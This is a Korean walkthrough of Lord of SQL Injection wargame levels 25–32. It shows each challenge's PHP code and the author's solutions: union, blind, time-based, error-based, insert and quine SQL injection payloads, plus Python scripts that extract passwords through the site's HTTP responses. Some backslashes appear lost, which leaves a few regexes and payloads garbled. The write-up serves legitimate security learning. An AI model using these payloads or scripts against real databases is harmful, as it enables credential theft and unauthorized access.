25. green_dragon
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|.|'|"/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|.|'|"/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']){
if(preg_match('/prob|_|.|'|"/i', $result['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|.|'|"/i', $result['pw'])) exit("No Hack ~_~");
$query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
$result = mysqli_fetch_array(mysqli_query($db,$query2));
if($result['id'] == "admin") solve("green_dragon");
}
highlight_file(__FILE__);
?>
문제 코드. 아래는 쿼리.
select id,pw from prob_green_dragon where id='' and pw=''
처음으로 이중 조건문이 등장했다. id와 pw를 두 번 체크하여 admin을 얻어와야 한다.
그런데 필터링을 보면 쿼터가 걸러지고 있다. 따라서 전에 했던 것처럼 id에 를 입력해서 ‘를 우회하고, union을 이용해야 한다.

예시로 해보았다. 첫번째 select에서는 아무것도 반환하지 않게 하고, 두번째 selcet는 1과 2를 반환하게 하여 이를 다음 쿼리에 보냈다. 따라서 query2에 id는 1, pw는 2가 들어가게 되었다.
query의 결과가 query2에 반영되는 것을 확인했으니, query2에서 id에 을, pw에 union select admin을 넣어줘야 한다.
이를 위해서는 query에서 union select 다음에 query2에 들어갈 인자 2개를 보내줘야 하는데, 이때 hex값으로 변환해서 보내줘야 우리가 원하는 대로 입력이 들어간다.
의 hex 값은 0x5c, union select admin#의 hex 값은

0x756e696f6e2073656c6563742061646d696e2023이다.
따라서 정답은
?id=&pw=union select 0x5c, 0x756e696f6e2073656c6563742061646d696e2023 %23
이다.

음.. 안된다! 다시 잘 생각해봐라. 쿼터가 필터링되고 있으니 (심지어 내가 주석처리 했다 ㅎㅎ) admin도 hex 값으로 보내주는 것이 맞다.


수정된 답은 다음과 같다.
?id=&pw=union select 0x5c, 0x756e696f6e2073656c6563742030783631363436643639366523 %23

성공~
26. red_dragon
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|./i', $_GET['id'])) exit("No Hack ~_~");
if(strlen($_GET['id']) > 7) exit("too long string");
$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
$query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
$query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['no'] === $_GET['no']) solve("red_dragon");
highlight_file(__FILE__);
?>
문제 코드. 아래는 쿼리.
select id from prob_red_dragon where id='' and no=1
id에 입력을 해야하는데, 길이가 7보다 크면 안 되고 no에 정수가 유지되도록 해야 한다. 그리고 admin의 no가 뭔지 찾아내야 한다.
이번에 사용할 것은 이전에 문제에서 한번 썼던 %0a, 바로 개행이다. 이는 주석을 풀기 위해 사용했었다.
문제 코드에서 no를 등호로 찾고 있는데, 이렇게 하니 시간이 너무 오래 걸렸다.. 그래서 답을 봤더니 이유를 알게 되었다. no가 상당히 큰 값이었던 것!
이럴 때 필요한 건 이진탐색이다. 그런데 등호로는 이진탐색이 불가능하니 부등호를 이용해야 하고, 따라서 뒤에 자동으로 붙는 ‘no=’을 주석처리해주고, 개행 후 새롭게 no<에 들어갈 값을 추가해주면 된다.
정리하자면, id에는 ‘||no<%23를, no에는 %0a{mid in 이진탐색}을 넣어주면 된다. 코드는 다음과 같다.
import requests
url='https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}
start=0
end=0xffffffff
while True:
mid=(start+end)//2
query=f"""?id='||no<%23&no=%0a{mid}"""
response=requests.get(url+query,cookies=cookies)
if start>=end:
print('no : ',mid)
break
if "Hello admin" in response.text:
end=mid-1
elif "Hello admin" not in response.text:
print('checking ', mid, '...')
start=mid

코드 실행 결과 no를 잘 받아왔다.
?no=586482014
를 넣어주면 성공!

27. blue_dragon
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|./i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|./i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(preg_match('/'|\/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/'|\/i', $_GET[pw])) exit("No Hack ~_~");
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
highlight_file(__FILE__);
?>
문제 코드. 아래는 쿼리.
select id from prob_blue_dragon where id='' and pw=''
이번 문제는 겉보기에는 평범해보인다. id와 pw에 특정값을 넣어서 pw를 알아내면 된다.
그런데 다른 부분이 있다. 바로 쿼리를 먼저 실행한 후에 ‘와 을 필터링한다는 것이다. 즉, 쿼리에 성공해서 pw를 알아냈더라도 우리가 이를 확인할 수 없다는 것이다.
두가지의 해결 방법이 떠오른다. 하나는 ‘와 을 우회하면서 pw를 알아내어 결과를 직접 확인하는 것이고, 다른 하나는 time based 인젝션이다. 전자는 생각하기 귀찮고 time based 인젝션을 더 공부할 겸 후자의 방법으로 풀어보자.
사실 방법은 이전에 time based로 풀었던 것과 동일하긴 하다.
바로 코드를 보자.
import requests
import time
url='https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}
for i in range(0,100):
prm=f"?id=' || id='admin' and if(length(pw)={i},sleep(3),0) %23"
print(prm)
start=time.time()
res=requests.get(url+prm,cookies=cookies)
end=time.time()-start
if end>3:
print('length of email: ',i)
length=i
break
코드 실행 결과

pw를 하나씩 알아내는 방법도 substr를 이용하여 이전과 동일하게 하면 된다.
import requests
import time
url='https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}
for i in range(0,100):
prm=f"?id=' || id='admin' and if(length(pw)={i},sleep(3),0) %23"
print(prm)
start=time.time()
res=requests.get(url+prm,cookies=cookies)
end=time.time()-start
if end>3:
print('length of email: ',i)
length=i
break
flag=''
for i in range(1,length+1):
for j in range(33,126):
prm=f"?id=' || id='admin' and if(ascii(substr(pw,{i},1))={j},sleep(3),0) %23"
start=time.time()
res=requests.get(url+prm,cookies=cookies)
end=time.time()-start
print(prm)
if end>2:
print(f'pw {i}번째: ',chr(j), 'and flag: ', flag+chr(j))
flag+=chr(j)
break
print('flag is',flag)

pw를 알아냈다. 정답은 ?pw=d948b8a0
이다.

성공!
28. frankenstein
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|.|(|)|union/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit("error");
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
highlight_file(__FILE__);
?>
문제 코드이다. 아래는 쿼리.
select id,pw from prob_frankenstein where id='frankenstein' and pw=''
그렇게 복잡해 보이지는 않는다. id가 frankenstein으로 고정되어 있고, pw에 입력을 넣어서 admin의 pw를 얻어내야 한다.
코드를 보면 error를 발생시키는 부분이 있기에 error based 인젝션으로 해결 가능하다. 그런데 필터링에서 union과 괄호를 걸러내고 있기에 힘들 것 같다.
그럴 때 쓸 수 있는 것이 바로 case when then else이다. 자세한 설명은 상근 씨에게 배웠기에 안다고 가정하고 그냥 넘어가겠다. 대충 if else 구문의 sql 버전이다.
추가로, substr도 못 쓰기에 like와 %를 이용해야 한다.
pw를 알아내는 코드는 다음과 같다.
import requests
url='https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}
flag=''
end=False
while(1):
if(end==True):
break
for i in range(40,127):
search=flag+chr(i)
prm=f"?pw=' || CASE WHEN id='admin' and pw like '{search}%25' THEN 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF ELSE 0 END %23"
print(prm)
res=requests.get(url+prm,cookies=cookies)
if('<hr><br>error' in res.text):
print('pw :',chr(i), 'and flag: ', flag + chr(i))
flag+=chr(i)
break
if(i==126):
end=True
print('flag is',flag)
괄호를 못 쓰기에 길이를 따로 알아내지 않고, 더 이상 pw를 추측하지 못한다면 끝난 것으로 생각하고 종료시켰다. case when then else와 like의 %를 사용해서 pw를 올바르게 추측했다면 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFF를 반환하여 error를 발생, 아니면 패스하도록 했다.

코드 실행 결과는 위와 같다. 답은 ?pw=0dc4efbb
.

성공!
29. phantom
<?php
include "./config.php";
login_chk();
$db = dbconnect("phantom");
if($_GET['joinmail']){
if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
$query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
mysqli_query($db,$query);
echo "<hr>query : <strong>{$query}</strong><hr>";
}
$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
while(($result = mysqli_fetch_array($rows))){
if($result['no'] == 1) $result['email'] = "**************";
echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
}
echo "</table>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
highlight_file(__FILE__);
?>
문제 코드는 위와 같다. 아래는 쿼리.
insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')
prob_phantom에 새로운 row를 추가하는데, 첫 번째 열은 0, 두 번째 열은 ip주소, 세 번째 열은 입련한 joinmail 값이다.
문제를 해결하기 위해서는 no가 1인 이메일주소를 찾아야 한다.
필터링을 보면 duplicate가 걸러지고 있다. 이는 ON duplicate update를 막는 것인데, primary key가 중복되는 레코드가 삽입될 시 기존의 레코드를 삭제하고 새롭게 추가하는 것을 막는 것이다. no=1인 레코드를 새롭게 삽입하는 것을 막기 위해 있는 것이다.
이 문제를 해결하는 방법은 바로 insert를 한번에 여러개 해주는 것이다. insert ~ values 뒤에 괄호로 묶어서 여러개의 값을 입력해주면 해당 값들을 한번에 insert할 수 있다.

위는 ?joinmail=1’),(0,’211.210.220.234’,(select 1)) %23
을 입력한 경우이다. 결과를 보면 email이 1인 것이 2개 추가되어 있는 것을 확인할 수 있다. (맨 처음 하나는 그 전에 추가해서 있는 것임 ㅎㅎ)
이제 select 1을 우리가 원하는 대로 바꿔주면 된다. prob_phantom 테이블에서 no가 1인 row의 email을 받아오면 될 것 같다. 따라서 값을 ?joinmail=7'), (0, '211.210.220.234', (select email from prob_phantom where no=1)) %23
로 바꿔주었다.

이상하게 원하는 대로 실행이 안 되었다..
안되는 이유를 위의 블로그를 통해 알 수 있었다.
간단하게 말해서 동일한 테이블을 접근하는 것은 일반적인 서브쿼리로 불가능하고, 서브쿼리로 한번 더 묶어서 가상의 테이블을 생성하고, 거기서 값을 얻어와야 한다.
따라서 답을 다음과 같이 수정해줘야 한다.
?joinmail=7'), (0, '211.210.220.234',
(select * from (select email from prob_phantom where no=1) as temp)
) %23

no=1인 이메일 얻어오기 성공했다! 답은 ?email=admin_secure_email@rubiya.kr
이다.

성공!
30. ouroboros
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
highlight_file(__FILE__);
?>
위는 문제 코드. 아래는 쿼리.
select pw from prob_ouroboros where pw=''
pw를 알아내면 된다. prob, _, ., rollup, join, @ 등을 필터링하고 있다.
생각보다 너무 간단한데? 하고 바로 pw를 얻어오도록 ?pw=’ or 1=1 %23
을 입력해줬다. 그런데,

감감무소식이다.. 아무래도 테이블 안에 pw가 없나보다..
아무리 생각해도 감이 안 잡혀서 찾아봤더니 quine sql injection을 사용해야 한다고 한다. quine이란 소스코드를 그대로 출력해주는 것을 말한다.
이 문제를 해결하는 조건을 다시 생각해보면 입력하는 pw와 result pw가 같기만 하면 해결할 수 있다. 따라서 입력한 소스코드를 그대로 반환하는 quine query를 사용하면 입력과 출력이 같으므로, 즉 사용자가 전달한 값과 쿼리가 받아온 값이 동일하기에 해결할 수 있는 것이다.
quine query를 사용하는 방법에 대해서는 다음 블로그를 참고했다.
sql에서 replace는 세 개의 인자를 받아서 첫 번째 인자로 받은 문자열에서 두 번째 인자로 받은 문자(열)를 세 번째 인자로 받은 문자(열)로 바꿔준다.

위의 블로그에서 가져온 사진이다. 보면 내부에서부터 replace가 진행되면서, 결국 마지막에 반환하는 값은 쿼리문과 동일한 값임을 확인할 수 있다. (여기서 char(34)는 “, char(36)은 $, char(39)는 ‘을 나타낸다.
따라서 답으로 입력할 값은
?pw=a' union select replace(replace('a" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw%23',char(34),char(39)),char(36),'a" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw%23') as pw%23
이다.
위의 값을 입력하면 replace, as에 의해 쿼리와 같은 값을 반환하여 조건을 만족하게 된다.

성공!
31. zombie
<?php
include "./config.php";
login_chk();
$db = dbconnect("zombie");
if(preg_match('/rollup|join|ace|@/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select pw from prob_zombie where pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("zombie");
highlight_file(__FILE__);
?>
문제 코드이다. 쿼리는 아래.
select pw from prob_zombie where pw=''
이전 문제와 상당히 비슷하다. 하지만 필터링에 ace가 추가되어 replace를 사용할 수 없게 되었다.
따라서 다른 방법을 찾아보다가 information_schema.processlist를 활용하는 방법을 찾았다.
information_schema.processlist 테이블의 info 컬럼에는 현재 실행중인 쿼리가 담긴다고 한다.
따라서 locate를 활용하여 ?pw=1' union select substr(info,locate('1',info),length(info)-locate('1',info)) from information_schema.processlist %23
를 입력해주면 된다.
locate에서는 info에서 1이 가장 처음 등장하는 위치를 반환해주기에 substr가 info에서 1이 처음 등장하는 위치에서부터 info의 길이에서 1을 제외한 만큼 가져오기 때문에 우리가 입력한 쿼리와 같은 값을 가져온다.

성공!
32. alien
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/admin|and|or|if|coalesce|case|_|.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
$query = "select id from prob_alien where no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$query2 = "select id from prob_alien where no='{$_GET[no]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
if($_GET['no']){
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] !== "admin") exit("sandbox1");
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] === "admin") exit("sandbox2");
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") exit("sandbox");
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") solve("alien");
}
highlight_file(__FILE__);
?>
문제 코드이다. 아래는 쿼리.
query : select id from prob_alien where no=
query2 : select id from prob_alien where no=''
문제의 조건이 상당히 이상하다. 순서대로 나열해보면,
- query의 값이 admin이어야 한다.
- query의 값이 admin이면 안된다.
- query2의 값이 admin이면 안된다.
- query2의 값이 admin이어야 한다.
마지막 조건까지 만족한다면 문제를 해결하게 된다.
추가로 필터링도 상당히 많다;; admin, and, or, if, coalesce, case, _, ., prob, time이 모두 필터링되고 있다.
이번 문제를 해결하기 위해서는 sleep()과 now()를 적절히 활용해야 한다. !sleep(1)&&now()%2=1
를 통해서 현재 timestamp가 홀수면 sleep을 실행하고 아니면 패스하도록 할 수 있다. 이것을 dmin앞에 무슨 값을 붙이는지 결정하는 데 사용함으로써 현재 시간에 따라 admin이 되기도 하고 bdmin이 되기도 하도록 만들 수 있다.
글자를 붙이는 것은 concat을 사용하면 된다. 따라서 최종 답은 0 union select concat(char(97%2b(!sleep(1)%26%26now()%2=1)), 0x646d696e)%23' union select concat(char(96%2b(!sleep(1)%26%26now()%2=1)), 0x646d696e)%23
를 입력해주면 된다.
(%2b = +, %26 = &, %23 = #)
물론 한번에 안될수도 있지만(timestamp 값에 의해) 게속 보내다 보면 성공한다 ^^

성공!